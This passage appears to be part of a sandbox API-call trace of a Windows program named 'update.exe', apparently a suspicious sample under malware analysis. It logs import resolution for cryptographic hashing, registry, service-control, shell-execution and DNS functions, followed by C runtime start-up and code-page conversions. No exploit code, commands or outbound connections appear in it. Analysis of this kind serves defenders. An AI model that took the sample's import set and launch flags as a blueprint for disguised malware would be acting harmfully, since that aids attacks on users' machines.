(hModule=0x75a20000, lpProcName="LCMapStringW") returned 0x75a317b9 [0042.297] GetProcAddress (hModule=0x75a20000, lpProcName="GetConsoleCP") returned 0x75ad7bff [0042.297] GetProcAddress (hModule=0x75a20000, lpProcName="GetConsoleMode") returned 0x75a31328 [0042.297] GetProcAddress (hModule=0x75a20000, lpProcName="SetFilePointerEx") returned 0x75a4c807 [0042.297] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleCtrlHandler") returned 0x75a38a09 [0042.298] GetProcAddress (hModule=0x75a20000, lpProcName="FreeLibrary") returned 0x75a334c8 [0042.298] GetProcAddress (hModule=0x75a20000, lpProcName="LoadLibraryExW") returned 0x75a3495d [0042.298] GetProcAddress (hModule=0x75a20000, lpProcName="OutputDebugStringW") returned 0x75a5d1d4 [0042.298] GetProcAddress (hModule=0x75a20000, lpProcName="HeapReAlloc") returned 0x77891f6e [0042.298] GetProcAddress (hModule=0x75a20000, lpProcName="RtlUnwind") returned 0x75a5d1c3 [0042.298] GetProcAddress (hModule=0x75a20000, lpProcName="SetStdHandle") returned 0x75ab454f [0042.298] GetProcAddress (hModule=0x75a20000, lpProcName="HeapFree") returned 0x75a314c9 [0042.298] GetProcAddress (hModule=0x75a20000, lpProcName="HeapAlloc") returned 0x7787e026 [0042.298] GetProcAddress (hModule=0x75a20000, lpProcName="WriteConsoleW") returned 0x75a57aca [0042.298] GetProcAddress (hModule=0x75a20000, lpProcName="FlushFileBuffers") returned 0x75a3469b [0042.298] GetProcAddress (hModule=0x75a20000, lpProcName="EncodePointer") returned 0x77890fcb [0042.298] GetProcAddress (hModule=0x75a20000, lpProcName="DecodePointer") returned 0x77889d35 [0042.298] GetProcAddress (hModule=0x75a20000, lpProcName="GetStringTypeW") returned 0x75a31946 [0042.298] GetProcAddress (hModule=0x75a20000, lpProcName="LeaveCriticalSection") returned 0x77872270 [0042.299] GetProcAddress (hModule=0x75a20000, lpProcName="EnterCriticalSection") returned 0x778722b0 [0042.299] GetProcAddress (hModule=0x75a20000, lpProcName="HeapSize") returned 0x77883002 [0042.299] GetProcAddress (hModule=0x75a20000, lpProcName="GetStdHandle") returned 0x75a351b3 [0042.299] GetProcAddress (hModule=0x75a20000, lpProcName="AreFileApisANSI") returned 0x75ab40d1 [0042.299] GetProcAddress (hModule=0x75a20000, lpProcName="GetModuleHandleExW") returned 0x75a34a6f [0042.299] GetProcAddress (hModule=0x75a20000, lpProcName="ExitProcess") returned 0x75a37a10 [0042.299] GetProcAddress (hModule=0x75a20000, lpProcName="GetProcessHeap") returned 0x75a314e9 [0042.299] GetProcAddress (hModule=0x75a20000, lpProcName="GetCurrentThreadId") returned 0x75a31450 [0042.299] GetProcAddress (hModule=0x75a20000, lpProcName="GetCurrentThread") returned 0x75a317ec [0042.299] GetProcAddress (hModule=0x75a20000, lpProcName="IsValidCodePage") returned 0x75a34493 [0042.299] GetProcAddress (hModule=0x75a20000, lpProcName="GetACP") returned 0x75a3179c [0042.299] GetProcAddress (hModule=0x75a20000, lpProcName="GetOEMCP") returned 0x75a5d1a1 [0042.299] GetProcAddress (hModule=0x75a20000, lpProcName="GetCPInfo") returned 0x75a35189 [0042.299] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0042.299] GetProcAddress (hModule=0x75a20000, lpProcName="lstrcpyW") returned 0x75a53102 [0042.300] GetProcAddress (hModule=0x75a20000, lpProcName="IsProcessorFeaturePresent") returned 0x75a35235 [0042.300] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x756f0000 [0042.300] GetProcAddress (hModule=0x756f0000, lpProcName="PostQuitMessage") returned 0x75709abb [0042.300] GetProcAddress (hModule=0x756f0000, lpProcName="LoadCursorW") returned 0x757088f7 [0042.300] GetProcAddress (hModule=0x756f0000, lpProcName="BeginPaint") returned 0x75711361 [0042.300] GetProcAddress (hModule=0x756f0000, lpProcName="TranslateMessage") returned 0x75707809 [0042.300] GetProcAddress (hModule=0x756f0000, lpProcName="RegisterClassExW") returned 0x7570b17d [0042.300] GetProcAddress (hModule=0x756f0000, lpProcName="ShowWindow") returned 0x75710dfb [0042.300] GetProcAddress (hModule=0x756f0000, lpProcName="IsWindow") returned 0x75707136 [0042.300] GetProcAddress (hModule=0x756f0000, lpProcName="CreateWindowExW") returned 0x75708a29 [0042.300] GetProcAddress (hModule=0x756f0000, lpProcName="UpdateWindow") returned 0x75713559 [0042.300] GetProcAddress (hModule=0x756f0000, lpProcName="DefWindowProcW") returned 0x778825dd [0042.300] GetProcAddress (hModule=0x756f0000, lpProcName="PeekMessageW") returned 0x757105ba [0042.300] GetProcAddress (hModule=0x756f0000, lpProcName="PostThreadMessageW") returned 0x75708bff [0042.300] GetProcAddress (hModule=0x756f0000, lpProcName="MessageBoxW") returned 0x7575fd3f [0042.301] GetProcAddress (hModule=0x756f0000, lpProcName="DispatchMessageW") returned 0x7570787b [0042.301] GetProcAddress (hModule=0x756f0000, lpProcName="DestroyWindow") returned 0x75709a55 [0042.301] GetProcAddress (hModule=0x756f0000, lpProcName="EndPaint") returned 0x75711341 [0042.301] GetProcAddress (hModule=0x756f0000, lpProcName="SendMessageW") returned 0x75709679 [0042.301] GetProcAddress (hModule=0x756f0000, lpProcName="GetMessageW") returned 0x757078e2 [0042.301] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x75b30000 [0042.301] GetProcAddress (hModule=0x75b30000, lpProcName="CloseServiceHandle") returned 0x75b4369c [0042.301] GetProcAddress (hModule=0x75b30000, lpProcName="CryptAcquireContextW") returned 0x75b3df14 [0042.301] GetProcAddress (hModule=0x75b30000, lpProcName="GetUserNameW") returned 0x75b4157a [0042.301] GetProcAddress (hModule=0x75b30000, lpProcName="CryptHashData") returned 0x75b3df36 [0042.301] GetProcAddress (hModule=0x75b30000, lpProcName="RegSetValueExW") returned 0x75b414d6 [0042.301] GetProcAddress (hModule=0x75b30000, lpProcName="RegCloseKey") returned 0x75b4469d [0042.301] GetProcAddress (hModule=0x75b30000, lpProcName="CryptDestroyHash") returned 0x75b3df66 [0042.301] GetProcAddress (hModule=0x75b30000, lpProcName="OpenSCManagerW") returned 0x75b3ca64 [0042.301] GetProcAddress (hModule=0x75b30000, lpProcName="OpenServiceW") returned 0x75b3ca4c [0042.302] GetProcAddress (hModule=0x75b30000, lpProcName="ControlService") returned 0x75b57144 [0042.302] GetProcAddress (hModule=0x75b30000, lpProcName="RegOpenKeyExW") returned 0x75b4468d [0042.302] GetProcAddress (hModule=0x75b30000, lpProcName="CryptCreateHash") returned 0x75b3df4e [0042.302] GetProcAddress (hModule=0x75b30000, lpProcName="QueryServiceStatus") returned 0x75b42a86 [0042.302] GetProcAddress (hModule=0x75b30000, lpProcName="RegQueryValueExW") returned 0x75b446ad [0042.302] GetProcAddress (hModule=0x75b30000, lpProcName="CryptReleaseContext") returned 0x75b3e124 [0042.302] GetProcAddress (hModule=0x75b30000, lpProcName="CryptGetHashParam") returned 0x75b3df7e [0042.302] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x76670000 [0042.304] GetProcAddress (hModule=0x76670000, lpProcName="SHGetPathFromIDListW") returned 0x767017bf [0042.304] GetProcAddress (hModule=0x76670000, lpProcName="SHGetSpecialFolderLocation") returned 0x766fe141 [0042.304] GetProcAddress (hModule=0x76670000, lpProcName="CommandLineToArgvW") returned 0x76689ee8 [0042.304] GetProcAddress (hModule=0x76670000, lpProcName="ShellExecuteA") returned 0x768b7078 [0042.304] GetProcAddress (hModule=0x76670000, lpProcName="ShellExecuteExW") returned 0x76691e46 [0042.304] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75540000 [0042.304] GetProcAddress (hModule=0x75540000, lpProcName="CoInitialize") returned 0x7555b636 [0042.305] GetProcAddress (hModule=0x75540000, lpProcName="CoInitializeSecurity") returned 0x75567259 [0042.305] GetProcAddress (hModule=0x75540000, lpProcName="CoUninitialize") returned 0x755886d3 [0042.305] GetProcAddress (hModule=0x75540000, lpProcName="CoCreateInstance") returned 0x75589d0b [0042.305] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75f60000 [0042.305] GetProcAddress (hModule=0x75f60000, lpProcName=0xca) returned 0x75f6fd6b [0042.305] GetProcAddress (hModule=0x75f60000, lpProcName=0x2) returned 0x75f64642 [0042.305] GetProcAddress (hModule=0x75f60000, lpProcName=0x9) returned 0x75f63eae [0042.305] GetProcAddress (hModule=0x75f60000, lpProcName=0x8) returned 0x75f63ed5 [0042.305] GetProcAddress (hModule=0x75f60000, lpProcName=0x6) returned 0x75f63e59 [0042.305] GetProcAddress (hModule=0x75f60000, lpProcName=0xc8) returned 0x75f63f21 [0042.305] GetProcAddress (hModule=0x75f60000, lpProcName=0xc) returned 0x75f65dee [0042.305] GetProcAddress (hModule=0x75f60000, lpProcName=0xc9) returned 0x75f64af8 [0042.305] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x75270000 [0042.308] GetProcAddress (hModule=0x75270000, lpProcName="GetAdaptersInfo") returned 0x75279263 [0042.309] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x764c0000 [0042.310] GetProcAddress (hModule=0x764c0000, lpProcName=0xc) returned 0x764cb131 [0042.310] GetProcAddress (hModule=0x764c0000, lpProcName=0xb) returned 0x764c311b [0042.310] GetProcAddress (hModule=0x764c0000, lpProcName=0x34) returned 0x764d7673 [0042.310] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x751a0000 [0042.313] GetProcAddress (hModule=0x751a0000, lpProcName="DnsFree") returned 0x751a436b [0042.313] GetProcAddress (hModule=0x751a0000, lpProcName="DnsQuery_W") returned 0x751b572c [0042.313] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x750e0000 [0042.317] GetProcAddress (hModule=0x750e0000, lpProcName="atexit") returned 0x750fc544 [0042.317] atexit (param_1=0x253082) returned 0 [0042.318] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fdd4 | out: lpSystemTimeAsFileTime=0x18fdd4*(dwLowDateTime=0x9cb76b30, dwHighDateTime=0x1d4800f)) [0042.318] GetCurrentThreadId () returned 0x908 [0042.318] GetCurrentProcessId () returned 0x904 [0042.318] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdcc | out: lpPerformanceCount=0x18fdcc*=1810651300000) returned 1 [0042.318] GetStartupInfoW (in: lpStartupInfo=0x18fd64 | out: lpStartupInfo=0x18fd64*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x75a31856, hStdOutput=0x7786fd35, hStdError=0x778d7daf)) [0042.318] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0042.318] GetProcAddress (hModule=0x75a20000, lpProcName="FlsAlloc") returned 0x75a34f2b [0042.318] GetProcAddress (hModule=0x75a20000, lpProcName="FlsFree") returned 0x75a3359f [0042.318] GetProcAddress (hModule=0x75a20000, lpProcName="FlsGetValue") returned 0x75a31252 [0042.318] GetProcAddress (hModule=0x75a20000, lpProcName="FlsSetValue") returned 0x75a34208 [0042.318] GetProcAddress (hModule=0x75a20000, lpProcName="InitializeCriticalSectionEx") returned 0x75a34d28 [0042.318] GetProcAddress (hModule=0x75a20000, lpProcName="CreateEventExW") returned 0x75ab410b [0042.318] GetProcAddress (hModule=0x75a20000, lpProcName="CreateSemaphoreExW") returned 0x75ab4195 [0042.319] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadStackGuarantee") returned 0x75a3d31f [0042.319] GetProcAddress (hModule=0x75a20000, lpProcName="CreateThreadpoolTimer") returned 0x75a4ee7e [0042.319] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadpoolTimer") returned 0x7789441c [0042.319] GetProcAddress (hModule=0x75a20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x778bc50e [0042.319] GetProcAddress (hModule=0x75a20000, lpProcName="CloseThreadpoolTimer") returned 0x778bc381 [0042.319] GetProcAddress (hModule=0x75a20000, lpProcName="CreateThreadpoolWait") returned 0x75a4f088 [0042.319] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadpoolWait") returned 0x778a05d7 [0042.319] GetProcAddress (hModule=0x75a20000, lpProcName="CloseThreadpoolWait") returned 0x778bca24 [0042.319] GetProcAddress (hModule=0x75a20000, lpProcName="FlushProcessWriteBuffers") returned 0x77870b8c [0042.319] GetProcAddress (hModule=0x75a20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7792fde8 [0042.319] GetProcAddress (hModule=0x75a20000, lpProcName="GetCurrentProcessorNumber") returned 0x778c1e1d [0042.319] GetProcAddress (hModule=0x75a20000, lpProcName="GetLogicalProcessorInformation") returned 0x75ab4761 [0042.319] GetProcAddress (hModule=0x75a20000, lpProcName="CreateSymbolicLinkW") returned 0x75aacd11 [0042.320] GetProcAddress (hModule=0x75a20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0042.320] GetProcAddress (hModule=0x75a20000, lpProcName="EnumSystemLocalesEx") returned 0x75ab424f [0042.320] GetProcAddress (hModule=0x75a20000, lpProcName="CompareStringEx") returned 0x75ab46b1 [0042.320] GetProcAddress (hModule=0x75a20000, lpProcName="GetDateFormatEx") returned 0x75ac6676 [0042.320] GetProcAddress (hModule=0x75a20000, lpProcName="GetLocaleInfoEx") returned 0x75ab4751 [0042.320] GetProcAddress (hModule=0x75a20000, lpProcName="GetTimeFormatEx") returned 0x75ac65f1 [0042.320] GetProcAddress (hModule=0x75a20000, lpProcName="GetUserDefaultLocaleName") returned 0x75ab47c1 [0042.320] GetProcAddress (hModule=0x75a20000, lpProcName="IsValidLocaleName") returned 0x75ab47e1 [0042.320] GetProcAddress (hModule=0x75a20000, lpProcName="LCMapStringEx") returned 0x75ab47f1 [0042.320] GetProcAddress (hModule=0x75a20000, lpProcName="GetCurrentPackageId") returned 0x0 [0042.320] GetProcAddress (hModule=0x75a20000, lpProcName="GetTickCount64") returned 0x75a4eee0 [0042.320] GetProcAddress (hModule=0x75a20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0042.320] GetProcAddress (hModule=0x75a20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0042.321] GetCurrentThreadId () returned 0x908 [0042.321] GetStartupInfoW (in: lpStartupInfo=0x18fd34 | out: lpStartupInfo=0x18fd34*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x415e4a, hStdOutput=0xe59aa72, hStdError=0x42f6de)) [0042.321] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0042.321] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0042.321] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0042.321] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" --Admin IsNotAutoStart IsNotTask" [0042.321] GetEnvironmentStringsW () returned 0x29bec8* [0042.321] FreeEnvironmentStringsW (penv=0x29bec8) returned 1 [0042.321] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x44e1f0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\update.exe")) returned 0x30 [0042.322] GetLastError () returned 0x0 [0042.322] SetLastError (dwErrCode=0x0) [0042.322] GetLastError () returned 0x0 [0042.322] SetLastError (dwErrCode=0x0) [0042.322] GetLastError () returned 0x0 [0042.322] SetLastError (dwErrCode=0x0) [0042.323] GetACP () returned 0x4e4 [0042.323] GetLastError () returned 0x0 [0042.323] SetLastError (dwErrCode=0x0) [0042.323] IsValidCodePage (CodePage=0x4e4) returned 1 [0042.323] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fd28 | out: lpCPInfo=0x18fd28) returned 1 [0042.323] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f7f0 | out: lpCPInfo=0x18f7f0) returned 1 [0042.323] GetLastError () returned 0x0 [0042.323] SetLastError (dwErrCode=0x0) [0042.323] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.323] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f568, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0042.323] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f804 | out: lpCharType=0x18f804) returned 1 [0042.323] GetLastError () returned 0x0 [0042.323] SetLastError (dwErrCode=0x0) [0042.323] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.323] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f538, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0042.323] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0042.323] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f328, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0042.323] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fb04, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xe2\xaa\x59\x0e\x40\xfd\x18", lpUsedDefaultChar=0x0) returned 256 [0042.323] GetLastError () returned 0x0 [0042.323] SetLastError (dwErrCode=0x0) [0042.323] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0042.323] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc04, cbMultiByte=256, lpWideCharStr=0x18f558, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0042.323] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 